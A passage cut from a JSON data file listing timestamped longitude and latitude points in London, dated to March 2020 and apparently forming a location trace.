"longitude":-0.11577699333412673,"latitude":51.54665399541205},{"time":1584432318368,"longitude":-0.10045390372104362,"latitude":51.54472018969986},{"time":1584432870201,"longitude":-0.12093359233380824,"latitude":51.54883840957672},{"time":1584433042534,"longitude":-0.11171297187973295,"latitude":51.5498413086896},{"time":1584433394191,"longitude":-0.11937944006178418,"latitude":51.54749094628247},{"time":1584433788107,"longitude":-0.11593735531144593,"latitude":51.54846560697335},{"time":1584433891193,"longitude":-0.11378868152017708,"latitude":51.54781476060891},{"time":1584434503488,"longitude":-0.10801158456654117,"latitude":51.54895422982317},{"time":1584434619033,"longitude":-0.11878964250255108,"latitude":51.54721330396039},{"time":1584435086130,"longitude":-0.10406779049034884,"latitude":51.54824283150471},{"time":1584435149655,"longitude":-0.10475105085289647,"latitude":51.54366559494487},{"time":1584438760471,"longitude":-0.07891869747220076,"latitude":51.50604668701347},{"time":1584438816666,"longitude":-0.08179922500811541,"latitude":51.539830297066075},{"time":1584439367078,"longitude":-0.077554311471048,"latitude":51.497242667200126},{"time":1584439636360,"longitude":-0.08682818156191366,"latitude":51.52578909199762},{"time":1584439917935,"longitude":-0.0832880561478995,"latitude":51.54721365927055},{"time":1584440657011,"longitude":-0.08334487825916821,"latitude":51.52500395977865},{"time":1584440789804,"longitude":-0.08370360171436984,"latitude":51.50608119590637},{"time":1584440921529,"longitude":-0.08642269211754854,"latitude":51.49654104792656},{"time":1584440933583,"longitude":-0.08402081770903144,"latitude":51.503879129906885},{"time":1584441067344,"longitude":-0.08149053354876024,"latitude":51.50919204552325},{"time":1584441171989,"longitude":-0.08416340430955266,"latitude":51.49567234316427},{"time":1584441232557,"longitude":-0.0873796782025362,"latitude":51.54069285745495},{"time":1584441268387,"longitude":-0.08482338685214505,"latitude":51.50238200605891},{"time":1584441274802,"longitude":-0.08519645796421711,"latitude":51.50426415336215},{"time":1584441284599,"longitude":-0.0871964602912564,"latitude":51.53001498663619},{"time":1584441305810,"longitude":-0.08457696684991149,"latitude":51.50421473577553},{"time":1584441332955,"longitude":-0.08690584060306149,"latitude":51.54416956622097},{"time":1584441441382,"longitude":-0.08537232842220897,"latitude":51.49892119475662},{"time":1584441443235,"longitude":-0.08594824143574338,"latitude":51.496630500478716},{"time":1584441601218,"longitude":-0.0843680816074252,"latitude":51.49649849768022},{"time":1584441611030,"longitude":-0.08384911133203682,"latitude":51.495910543590696},{"time":1584441665063,"longitude":-0.08395202915448395,"latitude":51.51565791241378},{"time":1584441701954,"longitude":-0.08581116376065177,"latitude":51.49723015751475},{"time":1584441789334,"longitude":-0.08629315846668134,"latitude":51.4962495308997},{"time":1584442079390,"longitude":-0.07790197211646288,"latitude":51.52296787717018},{"time":1584442282820,"longitude":-0.08524319476592905,"latitude":51.49591493318432},{"time":1584442322817,"longitude":-0.08514397369568096,"latitude":51.50479743656128},{"time":1584442417244,"longitude":-0.08541011299320748,"latitude":51.50515254088126},{"time":1584442447236,"longitude":-0.088763450866179,"latitude":51.49500870522872},{"time":1584442488317,"longitude":-0.08608048397310428,"latitude":51.496266454570836},{"time":1584442502091,"longitude":-0.08516427328510316,"latitude":51.505630174348404},{"time":1584442564681,"longitude":-0.08447978589411932,"latitude":51.49915815956521},{"time":1584442569636,"longitude":-0.08695293730629756,"latitude":51.496603933940634},{"time":1584442644440,"longitude":-0.08562926198971846,"latitude":51.5052636703018},{"time":1584442687763,"longitude":-0.08377045979204975,"latitude":51.49536201668388},{"time":1584442849719,"longitude":-0.08413016989118624,"latitude":51.502676781924706},{"time":1584443249417,"longitude":-0.08426098048361831,"latitude":51.49865329500378},{"time":1584443375993,"longitude":-0.08554367492242099,"latitude":51.495814086954475},{"time":1584443556013,"longitude":-0.08444140556873124,"latitude":51.50526498344406},{"time":1584446607390,"longitude":-0.08531395999970191,"latitude":51.499482231620824},{"time":1584447839645,"longitude":-0.0855786179576563,"latitude":51.505141842757006},{"time":1584447849874,"longitude":-0.08482706171141739,"latitude":51.49945550409126},{"time":1584447980016,"longitude":-0.08618473482769305,"latitude":51.50035130489338},{"time":1584448068066,"longitude":-0.08433813070426069,"latitude":51.50529637494542},{"time":1584448076573,"longitude":-0.08613132669080811,"latitude":51.50287636781916},{"time":1584448183171,"longitude":-0.08456442857725702,"latitude":51.50167612196174},{"time":1584448329799,"longitude":-0.08505400572818377,"latitude":51.50442155771009},{"time":1584448359090,"longitude":-0.08494704621381349,"latitude":51.49680339733728},{"time":1584448439878,"longitude":-0.08455215782307754,"latitude":51.50424560397556},{"time":1584448497219,"longitude":-0.08537362102024569,"latitude":51.50238503239602},{"time":1584448649178,"longitude":-0.08622722127230494,"latitude":51.50347996725791},{"time":1584448960837,"longitude":-0.08453447366801416,"latitude":51.504031400919274},{"time":1584449223070,"longitude":-0.08500874054000504,"latitude":51.50155490853009},{"time":1584449560593,"longitude":-0.0848714390659642,"latitude":51.501657390954136},{"time":1584449625874,"longitude":-0.08568068276342741,"latitude":51.49843752692271},{"time":1584449663381,"longitude":-0.08469498869742119,"latitude":51.49859194353528},{"time":1584449753085,"longitude":-0.08588375428655774,"latitude":51.50213056076063},{"time":1584456422095,"longitude":-0.08450999806621964,"latitude":51.5009601279954},{"time":1584456721651,"longitude":-0.08443911128403735,"latitude":51.49937701814108},{"time":1584457383404,"longitude":-0.08431386890193503,"latitude":51.49939619954662},{"time":1584458015868,"longitude":-0.08530128331370991,"latitude":51.49943968126254},{"time":1584463067160,"longitude":-0.088217808453473,"latitude":51.51642585351655},{"time":1584463075856,"longitude":-0.08484226740467461,"latitude":51.513151861080736},{"time":1584463591228,"longitude":-0.08684307229809285,"latitude":51.51161062476078},{"time":1584463606144,"longitude":-0.08598624386140209,"latitude":51.51065915026622},{"time":1584463744752,"longitude":-0.08819274445783849,"latitude":51.51675810381439},{"time":1584463770534,"longitude":-0.08518358787451678,"latitude":51.509354500000704},{"time":1584463913990,"longitude":-0.09094671061511936,"latitude":51.510676795844034},{"time":1584463922765,"longitude":-0.09143413798243352,"latitude":51.510600254607844},{"time":1584463974668,"longitude":-0.08768398786807698,"latitude":51.5116304691641},{"time":1584464221318,"longitude":-0.09057989417579232,"latitude":51.51143739540575},{"time":1584464261540,"longitude":-0.08528828634681873,"latitude":51.49682200585435},{"time":1584464373534,"longitude":-0.08664495339557703,"latitude":51.513398755632416},{"time":1584464417948,"longitude":-0.0872003820328641,"latitude":51.513602850222135},{"time":1584464428622,"longitude":-0.08564737601535985,"latitude":51.5090479259341},{"time":1584464454907,"longitude":-0.08874365284912131,"latitude":51.5134528964843},{"time":1584464480603,"longitude":-0.08436903551370087,"latitude":51.5087135701186},{"time":1584464537010,"longitude":-0.08312578520029877,"latitude":51.512423748938915},{"time":1584464567574,"longitude":-0.08276016708870829,"latitude":51.510147450902814},{"time":1584464616496,"longitude":-0.08430856650771855,"latitude":51.51115082657626},{"time":1584464618061,"longitude":-0.08649120016667612,"latitude":51.51187474003131},{"time":1584464715189,"longitude":-0.09227693300862996,"latitude":51.51574188871439},{"time":1584464718735,"longitude":-0.08855643699483705,"latitude":51.51240455616449},{"time":1584464829691,"longitude":-0.08438280623686106,"latitude":51.51300589811181},{"time":1584464877317,"longitude":-0.09303104726630908,"latitude":51.51532195004862},{"time":1584464930574,"longitude":-0.08446711840059556,"latitude":51.50761920124697},{"time":1584465034248,"longitude":-0.09516075805487721,"latitude":51.51648551576988},{"time":1584465153257,"longitude":-0.09321481163501395,"latitude":51.515431580172525},{"time":1584465262345,"longitude":-0.08028346373441635,"latitude":51.51065750831949},{"time":1584465387402,"longitude":-0.09039548472515056,"latitude":51.512938197577114},{"time":1584465409643,"longitude":-0.08661878189643406,"latitude":51.51226112660536},{"time":1584465413330,"longitude":-0.09154311431136003,"latitude":51.51558015102505},{"time":1584465465223,"longitude":-0.0920862784719014,"latitude":51.517175405631164},{"time":1584465500603,"longitude":-0.09346717023981414,"latitude":51.515130708826746},{"time":1584466135422,"longitude":-0.09149250134556394,"latitude":51.510130730881485},{"time":1584466364595,"longitude":-0.0941029043175441,"latitude":51.51621076749044},{"time":1584466411301,"longitude":-0.09301126079302525,"latitude":51.514970577816705},{"time":1584466450042,"longitude":-0.09514005092757172,"latitude":51.5171939888358},{"time":1584466577526,"longitude":-0.0844942848203544,"latitude":51.51015845936949},{"time":1584466612017,"longitude":-0.08372706835654792,"latitude":51.512677457376746},{"time":1584466615793,"longitude":-0.09504478769004211,"latitude":51.517243676522554},{"time":1584467375519,"longitude":-0.09450560225974258,"latitude":51.51650788463761},{"time":1584467430541,"longitude":-0.09568491319087603,"latitude":51.516221114606694},{"time":1584467734330,"longitude":-0.09477517997713424,"latitude":51.51593389781113},{"time":1584467757964,"longitude":-0.09414633473738078,"latitude":51.516360774718024},{"time":1584467776270,"longitude":-0.09288211602819238,"latitude":51.516920975279184},{"time":1584467782830,"longitude":-0.09486417560367812,"latitude":51.516455587915324},{"time":1584468025033,"longitude":-0.0948870271805789,"latitude":51.51597883701469},{"time":1584468439263,"longitude":-0.09496717994541355,"latitude":51.516608053300565},{"time":1584468467511,"longitude":-0.09481542536951527,"latitude":51.51662542138659},{"time":1584468474863,"longitude":-0.0948455888802702,"latitude":51.51626128235801},{"time":1584468549941,"longitude":-0.0949744132218674,"latitude":51.51637705826766},{"time":1584468634782,"longitude":-0.09487648256893506,"latitude":51.516763453390645},{"time":1584468646474,"longitude":-0.09414658704877167,"latitude":51.517188440956275},{"time":1584468658947,"longitude":-0.09485609005297922,"latitude":51.51643576005169},{"time":1584468703370,"longitude":-0.09476887412756214,"latitude":51.516834777890715},{"time":1584468704631,"longitude":-0.09498143732752579,"latitude":51.516432259314705},{"time":1584468772586,"longitude":-0.09582985878141514,"latitude":51.51657581568153},{"time":1584469102844,"longitude":-0.0937277298158515,"latitude":51.517150741655016},{"time":1584469123135,"longitude":-0.0941330789645005,"latitude":51.51599983155323},{"time":1584469226953,"longitude":-0.09532661555988578,"latitude":51.51617615517197},{"time":1584469260212,"longitude":-0.09563274938369315,"latitude":51.51618159798208},{"time":1584469345493,"longitude":-0.09458639387191078,"latitude":51.51643796632753},{"time":1584469426262,"longitude":-0.09481358110279725,"latitude":51.516416795655864},{"time":1584469443550,"longitude":-0.09281449068586489,"latitude":51.51675062712926},{"time":1584469447378,"longitude":-0.095325354374916,"latitude":51.51604672477389},{"time":1584469460300,"longitude":-0.09494881729372583,"latitude":51.51699545766851},{"time":1584469505690,"longitude":-0.09527076161991768,"latitude":51.51663156079181},{"time":1584469561397,"longitude":-0.09645988287098978,"latitude":51.516089198591835},{"time":1584469571741,"longitude":-0.09310950288755515,"latitude":51.51612437570072},{"time":1584469596965,"longitude":-0.0951966343387434,"latitude":51.51621435498556},{"time":1584469709319,"longitude":-0.09474917152717566,"latitude":51.51665114994397},{"time":1584469786336,"longitude":-0.09447265676024254,"latitude":51.51654244807007},{"time":1584469798946,"longitude":-0.09527371642677257,"latitude":51.51639629090541},{"time":1584469805137,"longitude":-0.09436843320106678,"latitude":51.51703240904924},{"time":1584469815918,"longitude":-0.0948651353551567,"latitude":51.51629931026383},{"time":1584469928237,"longitude":-0.09535243940349603,"latitude":51.516206915247},{"time":1584470042714,"longitude":-0.09518366946856595,"latitude":51.51718890047979},{"time":1584470149968,"longitude":-0.0950024532897064,"latitude":51.516576073303966},{"time":1584470198414,"longitude":-0.0950014089815449,"latitude":51.51702424586098},{"time":1584470242503,"longitude":-0.09480613494752364,"latitude":51.51637698599363},{"time":1584470267659,"longitude":-0.09482333295582895,"latitude":51.5165191468781},{"time":1584470342470,"longitude":-0.09545724355766669,"latitude":51.516466956591906},{"time":1584470374091,"longitude":-0.09506089028186379,"latitude":51.516788881707996},{"time":1584470428491,"longitude":-0.09515324055604017,"latitude":51.516952674131666},{"time":1584470439004,"longitude":-0.09437987289235435,"latitude":51.5164688653104},{"time":1584470542913,"longitude":-0.09453458134808634,"latitude":51.51668078102997},{"time":1584470573016,"longitude":-0.09515276138280059,"latitude":51.51690169402929},{"time":1584470578881,"longitude":-0.09492985708829714,"latitude":51.51691218829128},{"time":1584470689965,"longitude":-0.09528222847484635,"latitude":51.51672795012786},{"time":1584470885663,"longitude":-0.09536204780756914,"latitude":51.5173416380752},{"time":1584471050372,"longitude":-0.09509215907103304,"latitude":51.517435383427994},{"time":1584471094525,"longitude":-0.09482724742112537,"latitude":51.51661816780622},{"time":1584471189859,"longitude":-0.09443452796263552,"latitude":51.51651299717096},{"time":1584471206892,"longitude":-0.09508729815742044,"latitude":51.516749452206675},{"time":1584471214959,"longitude":-0.09507136011565681,"latitude":51.516420092943854},{"time":1584471287844,"longitude":-0.09445351558369706,"latitude":51.5174886114888},{"time":1584471291248,"longitude":-0.09485676305169027,"latitude":51.51676508416693},{"time":1584471307180,"longitude":-0.09482901300866166,"latitude":51.51658210219496},{"time":1584471502497,"longitude":-0.09527055872156212,"latitude":51.51727005581552},{"time":1584471594071,"longitude":-0.09460012638428361,"latitude":51.51643740509349},{"time":1584471675555,"longitude":-0.09509846867968227,"latitude":51.51672333807454},{"time":1584471685961,"longitude":-0.09480643856215734,"latitude":51.517094462962746},{"time":1584471690849,"longitude":-0.09512178574386877,"latitude":51.51607781683517},{"time":1584471747256,"longitude":-0.09441072672929063,"latitude":51.516678139354866},{"time":1584471781537,"longitude":-0.095427199867446,"latitude":51.516411060540825},{"time":1584471829952,"longitude":-0.09503058473032384,"latitude":51.51666449743311},{"time":1584471991640,"longitude":-0.09531321217119702,"latitude":51.51678315060822},{"time":1584472058405,"longitude":-0.09488518070954591,"latitude":51.516092954306814},{"time":1584472076807,"longitude":-0.09532244487403674,"latitude":51.51684786908949},{"time":1584472082876,"longitude":-0.09525563824305913,"latitude":51.51712712585886},{"time":1584472128690,"longitude":-0.09467279062406316,"latitude":51.51681270185122},{"time":1584472195316,"longitude":-0.09543672031129462,"latitude":51.5163877143728},{"time":1584472206953,"longitude":-0.09498356675372621,"latitude":51.51623002306034},{"time":1584472270790,"longitude":-0.09528503690314807,"latitude":51.516307739022224},{"time":1584472292509,"longitude":-0.09490879367823,"latitude":51.51668480477706},{"time":1584472325912,"longitude":-0.09517993567227552,"latitude":51.51717197097722},{"time":1584472330107,"longitude":-0.09451055777907852,"latitude":51.516816118201795},{"time":1584472358441,"longitude":-0.094695465004079,"latitude":51.51627999064202},{"time":1584472400273,"longitude":-0.09474945213830764,"latitude":51.51729816399629},{"time":1584472485456,"longitude":-0.09532732941269126,"latitude":51.51692760211343},{"time":1584472562601,"longitude":-0.0947854324723604,"latitude":51.51611030831446},{"time":1584472773758,"longitude":-0.09449794985604572,"latitude":51.51660136688629},{"time":1584472820583,"longitude":-0.09479663276947238,"latitude":51.51662543282532},{"time":1584472992063,"longitude":-0.09461346239814687,"latitude":51.516857772003746},{"time":1584473100150,"longitude":-0.09540366155943726,"latitude":51.51687977492963},{"time":1584473189782,"longitude":-0.09492674371330435,"latitude":51.51648588063837},{"time":1584473280477,"longitude":-0.09466298648147752,"latitude":51.51730315412392},{"time":1584473281682,"longitude":-0.09537940533338507,"latitude":51.5160335798103},{"time":1584473328314,"longitude":-0.09522601451179724,"latitude":51.51681284219474},{"time":1584473389918,"longitude":-0.10012990364549201,"latitude":51.50559393938642},{"time":1584473420774,"longitude":-0.09469747033573678,"latitude":51.51657202545489},{"time":1584473460054,"longitude":-0.09499003491549138,"latitude":51.515869119480925},{"time":1584473460306,"longitude":-0.09016048105920585,"latitude":51.517585322078475},{"time":1584473473464,"longitude":-0.09465343622709986,"latitude":51.516180546125376},{"time":1584473504067,"longitude":-0.09528981608788342,"latitude":51.51664756651039},{"time":1584473529274,"longitude":-0.09498265679460718,"latitude":51.51666676459434},{"time":1584473720387,"longitude":-0.09498165012901807,"latitude":51.51623571415225},{"time":1584473741535,"longitude":-0.08665318897067271,"latitude":51.506413033268956},{"time":1584473789466,"longitude":-0.09465135000002015,"latitude":51.516855157900984},{"time":1584473902309,"longitude":-0.09550760840068648,"latitude":51.516174989049006},{"time":1584473957105,"longitude":-0.11544572715372228,"latitude":51.55659874580143},{"time":1584474008674,"longitude":-0.0955164374408591,"latitude":51.5167170632466},{"time":1584474025959,"longitude":-0.0952202533341001,"latitude":51.517022578837015},{"time":1584474026181,"longitude":-0.09473213467010928,"latitude":51.5162686805632},{"time":1584474074438,"longitude":-0.09756837975669415,"latitude":51.50229558038886},{"time":1584474135404,"longitude":-0.1212769633285577,"latitude":51.515359021511},{"time":1584474185360,"longitude":-0.12710259384714612,"latitude":51.51455518833232},{"time":1584474201661,"longitude":-0.09544471793421526,"latitude":51.516240787996495},{"time":1584474242798,"longitude":-0.09508278678055535,"latitude":51.51583592120497},{"time":1584474349272,"longitude":-0.09456939480249531,"latitude":51.51629511148429},{"time":1584474473178,"longitude":-0.09549878296707595,"latitude":51.52645564099108},{"time":1584474477304,"longitude":-0.09557702547758916,"latitude":51.517298570405714},{"time":1584474531835,"longitude":-0.09506457821579686,"latitude":51.51586179091128},{"time":1584474641529,"longitude":-0.10989342584106947,"latitude":51.545949005222575},{"time":1584474687600,"longitude":-0.11585933527212262,"latitude":51.55101470247398},{"time":1584474711929,"longitude":-0.11109923173023097,"latitude":51.53815658092034},{"time":1584474740090,"longitude":-0.08670940933293794,"latitude":51.53302166539956},{"time":1584474822943,"longitude":-0.09829094722068352,"latitude":51.54076602751946},{"time":1584474881875,"longitude":-0.11371443164538012,"latitude":51.540637663147685},{"time":1584474889790,"longitude":-0.12757790942370542,"latitude":51.52309523034992},{"time":1584475015687,"longitude":-0.08878319008103705,"latitude":51.514368270271056},{"time":1584475403759,"longitude":-0.10470637064051642,"latitude":51.526114665291175},{"time":1584475471919,"longitude":-0.11523804240963567,"latitude":51.50925795612179},{"time":1584475486122,"longitude":-0.12388905994177182,"latitude":51.559438830091445},{"time":1584475506084,"longitude":-0.0999911712166581,"latitude":51.515932190571924},{"time":1584475569489,"longitude":-0.11273250606368146,"latitude":51.4982093128163},{"time":1584475590183,"longitude":-0.1131110071774534,"latitude":51.543679831307884},{"time":1584475690739,"longitude":-0.11081813126322254,"latitude":51.54895015923459},{"time":1584475747396,"longitude":-0.11423104541655477,"latitude":51.5595846343682},{"time":1584475835676,"longitude":-0.11659123862081743,"latitude":51.55803360016917},{"time":1584475849986,"longitude":-0.12393562408859096,"latitude":51.543094672089055},{"time":1584475857794,"longitude":-0.11254784009043733,"latitude":51.5470925404644},{"time":1584475882132,"longitude":-0.11382134949240086,"latitude":51.54016069732806},{"time":1584475929795,"longitude":-0.11503469737619587,"latitude":51.54907793676641},{"time":1584475982682,"longitude":-0.11055482593920465,"latitude":51.51106047393367},{"time":1584476045915,"longitude":-0.09651533000112572,"latitude":51.51835473381924},{"time":1584476052740,"longitude":-0.09583109213355803,"latitude":51.518841647160095},{"time":1584476149198,"longitude":-0.10368012109198711,"latitude":51.49788740719213},{"time":1584476214530,"longitude":-0.11000381633732323,"latitude":51.54624929600897},{"time":1584476375402,"longitude":-0.10808483483304401,"latitude":51.54073175040664},{"time":1584476407558,"longitude":-0.11500565009292704,"latitude":51.55062376035001},{"time":1584476622875,"longitude":-0.10877687794302866,"latitude":51.5514740632692},{"time":1584476649933,"longitude":-0.11363398539086969,"latitude":51.54185654088602},{"time":1584476719935,"longitude":-0.11100061636521673,"latitude":51.55127145809549},{"time":1584477366216,"longitude":-0.11262580958453212,"latitude":51.5386342322461},{"time":1584477384204,"longitude":-0.11215739077173024,"latitude":51.538375335531704},{"time":1584477404979,"longitude":-0.10941652318828096,"latitude":51.544643089673805},{"time":1584518391851,"longitude":-0.12992223311879386,"latitude":51.545343921109655},{"time":1584518439286,"longitude":-0.11057562129127951,"latitude":51.52384867411722},{"time":1584518520964,"longitude":-0.09912856367948739,"latitude":51.543687234850886},{"time":1584518749658,"longitude":-0.10029861338201143,"latitude":51.54777719289013},{"time":1584518795778,"longitude":-0.11471862908166125,"latitude":51.52767714382806},{"time":1584519219964,"longitude":-0.10346681026509826,"latitude":51.55052549662244},{"time":1584519894622,"longitude":-0.09705936992041175,"latitude":51.54784139054387},{"time":1584519936113,"longitude":-0.12702633337726457,"latitude":51.53902717919398},{"time":1584519956748,"longitude":-0.09025556948239832,"latitude":51.52786771732459},{"time":1584520035202,"longitude":-0.10537888452438532,"latitude":51.524694044418155},{"time":1584520132260,"longitude":-0.08977736159619978,"latitude":51.52781854017759},{"time":1584520206506,"longitude":-0.08957379236650785,"latitude":51.527680407790925},{"time":1584520309459,"longitude":-0.0899477974888016,"latitude":51.527546855586166},{"time":1584520462651,"longitude":-0.08968635596641411,"latitude":51.527613849967054},{"time":1584520580628,"longitude":-0.0900847507192154,"latitude":51.527758453520235},{"time":1584520628828,"longitude":-0.12868847628935945,"latitude":51.53005561694218},{"time":1584520676722,"longitude":-0.09015649965300608,"latitude":51.52758222323493},{"time":1584520705066,"longitude":-0.0901590526233057,"latitude":51.52742046834522},{"time":1584520857829,"longitude":-0.08972672589592862,"latitude":51.52771289725877},{"time":1584520873327,"longitude":-0.121532701015639,"latitude":51.529515551055546},{"time":1584520928655,"longitude":-0.12527149158775908,"latitude":51.537684006293354},{"time":1584521002268,"longitude":-0.08956151377902485,"latitude":51.52748812145643},{"time":1584521020247,"longitude":-0.08993046047889529,"latitude":51.52781341513563},{"time":1584521070788,"longitude":-0.08996882423383464,"latitude":51.527821879095605},{"time":1584521084315,"longitude":-0.11041357745676549,"latitude":51.56206675385968},{"time":1584521113382,"longitude":-0.1211509696804452,"latitude":51.52815193208602},{"time":1584521173561,"longitude":-0.09396349229205131,"latitude":51.52425603298538},{"time":1584521190606,"longitude":-0.10378994081083895,"latitude":51.53060917990952},{"time":1584521402897,"longitude":-0.08981700114150078,"latitude":51.52755445208466},{"time":1584521472399,"longitude":-0.09016718595703391,"latitude":51.527786197422174},{"time":1584521537722,"longitude":-0.08434680885440839,"latitude":51.54657805949156},{"time":1584521652834,"longitude":-0.090206002381825,"latitude":51.52754874334773},{"time":1584521653588,"longitude":-0.07859352612305417,"latitude":51.52720878701244},{"time":1584521690106,"longitude":-0.08543648023765159,"latitude":51.511057541463636},{"time":1584521726696,"longitude":-0.0903422769454093,"latitude":51.52764373483329},{"time":1584521751830,"longitude":-0.12803813238362136,"latitude":51.5113435901854},{"time":1584521777902,"longitude":-0.0927741831294514,"latitude":51.52597225416435},{"time":1584521803331,"longitude":-0.08658649712243795,"latitude":51.524467822475806},{"time":1584521847110,"longitude":-0.08967027394241131,"latitude":51.527457374265644},{"time":1584521851073,"longitude":-0.09031846693733057,"latitude":51.52769875291013},{"time":1584521908776,"longitude":-0.08972001272670183,"latitude":51.52745941574735},{"time":1584521916894,"longitude":-0.09022477744160219,"latitude":51.5278557847388},{"time":1584521919923,"longitude":-0.07776374920858843,"latitude":51.52721596559361},{"time":1584521960340,"longitude":-0.08600657997274733,"latitude":51.528458738312125},{"time":1584522060413,"longitude":-0.0899055284699336,"latitude":51.527598963204746},{"time":1584522090695,"longitude":-0.07988929975201287,"latitude":51.52627693426716},{"time":1584522155984,"longitude":-0.08066036726855498,"latitude":51.52853010205979},{"time":1584522156724,"longitude":-0.09011380740648454,"latitude":51.52739995253802},{"time":1584522215609,"longitude":-0.08091546663710547,"latitude":51.52581074885106},{"time":1584522312472,"longitude":-0.08730462849919583,"latitude":51.52457924631545},{"time":1584522417857,"longitude":-0.08949288799292932,"latitude":51.52772432507282},{"time":1584522511706,"longitude":-0.08970241887484279,"latitude":51.527571082009},{"time":1584522633622,"longitude":-0.08271465284351812,"latitude":51.5253594306431},{"time":1584522711399,"longitude":-0.08234989140315468,"latitude":51.52531087208249},{"time":1584522734395,"longitude":-0.08243701390098518,"latitude":51.52551325316354},{"time":1584522822240,"longitude":-0.08241071785278756,"latitude":51.525186618900065},{"time":1584522853484,"longitude":-0.07813786962168984,"latitude":51.52340902352113},{"time":1584522879166,"longitude":-0.08780431608262185,"latitude":51.527261727168074},{"time":1584522927056,"longitude":-0.08243923173748455,"latitude":51.525443112209025},{"time":1584523068259,"longitude":-0.08256707691682323,"latitude":51.52540590583849},{"time":1584523098320,"longitude":-0.08271265700431324,"latitude":51.52553185766693},{"time":1584523247704,"longitude":-0.0824727666785129,"latitude":51.525569363149586},{"time":1584523339649,"longitude":-0.08244711809511576,"latitude":51.5254659568934},{"time":1584523357395,"longitude":-0.08269057989973302,"latitude":51.525378007575135},{"time":1584523416390,"longitude":-0.08751431485873266,"latitude":51.5272208479354},{"time":1584523488142,"longitude":-0.08766358600573765,"latitude":51.523569489639},{"time":1584523509178,"longitude":-0.0914553219059502,"latitude":51.52578892665419},{"time":1584523620448,"longitude":-0.0759191706908402,"latitude":51.52508965987577},{"time":1584523624319,"longitude":-0.0825275282368189,"latitude":51.525422594097506},{"time":1584523659418,"longitude":-0.0773713918689061,"latitude":51.52419142456312},{"time":1584523680219,"longitude":-0.08243722825773278,"latitude":51.52534799291585},{"time":1584523695458,"longitude":-0.07780140991913365,"latitude":51.52776967466706},{"time":1584523715528,"longitude":-0.0818649600025671,"latitude":51.52669911072051},{"time":1584523768968,"longitude":-0.0823714552863232,"latitude":51.52546228914931},{"time":1584523849164,"longitude":-0.08253426355596068,"latitude":51.5255010528924},{"time":1584523881981,"longitude":-0.0825014431785179,"latitude":51.52549610459218},{"time":1584523891322,"longitude":-0.0825367948008093,"latitude":51.52539970197691},{"time":1584523966253,"longitude":-0.08266793327640812,"latitude":51.52532452228479},{"time":1584524240375,"longitude":-0.08246365698771554,"latitude":51.52541979689134},{"time":1584524262708,"longitude":-0.08244815129593065,"latitude":51.52541653897248},{"time":1584524275844,"longitude":-0.08269187374603199,"latitude":51.52557678715549},{"time":1584524343873,"longitude":-0.08232759948103538,"latitude":51.52541877878604},{"time":1584524389658,"longitude":-0.08268248160252026,"latitude":51.52524977907964},{"time":1584524507312,"longitude":-0.08504228004934736,"latitude":51.52512989683305},{"time":1584524564763,"longitude":-0.08248807385018517,"latitude":51.52545396940983},{"time":1584524573595,"longitude":-0.08251074074857787,"latitude":51.52546411845541},{"time":1584524677455,"longitude":-0.08264502978507063,"latitude":51.525423369250305},{"time":1584524706265,"longitude":-0.08248060380686914,"latitude":51.525445550134506},{"time":1584524766063,"longitude":-0.08244467441392717,"latitude":51.52541249949396},{"time":1584524852479,"longitude":-0.08252213710687875,"latitude":51.52538541462454},{"time":1584524921841,"longitude":-0.0808751137209466,"latitude":51.52519991375122},{"time":1584524992606,"longitude":-0.08481784119585212,"latitude":51.52448980726626},{"time":1584525017748,"longitude":-0.08250436988134748,"latitude":51.52545154730999},{"time":1584525019086,"longitude":-0.08089164765679321,"latitude":51.526541447931905},{"time":1584525031996,"longitude":-0.08246991317270519,"latitude":51.525392938639555},{"time":1584525047484,"longitude":-0.08253038516334647,"latitude":51.5254066418872},{"time":1584525081532,"longitude":-0.08248541254343279,"latitude":51.525402568591026},{"time":1584525127483,"longitude":-0.08247044719680426,"latitude":51.52544364498926},{"time":1584525193427,"longitude":-0.08495558304282212,"latitude":51.52645891695636},{"time":1584525251695,"longitude":-0.08247271567453994,"latitude":51.525366965823494},{"time":1584525270019,"longitude":-0.08245613202513283,"latitude":51.52537669420902},{"time":1584525282430,"longitude":-0.0824554773031697,"latitude":51.52536279100907},{"time":1584525317335,"longitude":-0.0824715166650814,"latitude":51.5253757694295},{"time":1584525437054,"longitude":-0.08246905032250278,"latitude":51.52537170483769},{"time":1584525496640,"longitude":-0.08225031756088451,"latitude":51.52644856018901},{"time":1584525822907,"longitude":-0.0853110206562657,"latitude":51.52526633291187},{"time":1584526013160,"longitude":-0.08108221530414476,"latitude":51.52488378607189},{"time":1584526464998,"longitude":-0.08394300410600289,"latitude":51.52492058168919},{"time":1584526540379,"longitude":-0.09804149353609662,"latitude":51.49729135589025},{"time":1584526561167,"longitude":-0.0809721289063274,"latitude":51.525714916447974},{"time":1584526655668,"longitude":-0.07980438748787752,"latitude":51.52548187849241},{"time":1584526666134,"longitude":-0.08317701006441254,"latitude":51.52622516160854},{"time":1584526678016,"longitude":-0.08529024023751484,"latitude":51.52636547006421},{"time":1584526887858,"longitude":-0.09849674108918441,"latitude":51.51144036830125},{"time":1584527229909,"longitude":-0.11529371157507776,"latitude":51.50940901140327},{"time":1584527285852,"longitude":-0.16653159845620286,"latitude":51.50609486292525},{"time":1584527312228,"longitude":-0.11068144943132649,"latitude":51.52361769630822},{"time":1584527536397,"longitude":-0.152602543960662,"latitude":51.52409009178988},{"time":1584527597068,"longitude":-0.16988067631106568,"latitude":51.50716146000825},{"time":1584528147298,"longitude":-0.1042090462213279,"latitude":51.51920185396953},{"time":1584528220388,"longitude":-0.13231762217652737,"latitude":51.50836069997806},{"time":1584528401375,"longitude":-0.14665155239174768,"latitude":51.51257212583004},{"time":1584528405723,"longitude":-0.13253668569917335,"latitude":51.50841178059705},{"time":1584528516026,"longitude":-0.13305093592235043,"latitude":51.50835925672207},{"time":1584528544298,"longitude":-0.10891795422035055,"latitude":51.516963227205785},{"time":1584528644612,"longitude":-0.13298996130603724,"latitude":51.508425666379644},{"time":1584528740128,"longitude":-0.13284750890339816,"latitude":51.508417715751804},{"time":1584528842283,"longitude":-0.16902652938325938,"latitude":51.5196456083322},{"time":1584528880580,"longitude":-0.13388442455217042,"latitude":51.49956766509716},{"time":1584528910372,"longitude":-0.13238832234815867,"latitude":51.508372113816336},{"time":1584529047867,"longitude":-0.1450069350376053,"latitude":51.5022130305885},{"time":1584529081020,"longitude":-0.13222645591094728,"latitude":51.50843091810529},{"time":1584529088306,"longitude":-0.09510596411087216,"latitude":51.49683948688198},{"time":1584529206708,"longitude":-0.1325238200678219,"latitude":51.50838409881949},{"time":1584529269039,"longitude":-0.11802834164691334,"latitude":51.51146800730715},{"time":1584529279920,"longitude":-0.13296599847288854,"latitude":51.50835705684105},{"time":1584529304393,"longitu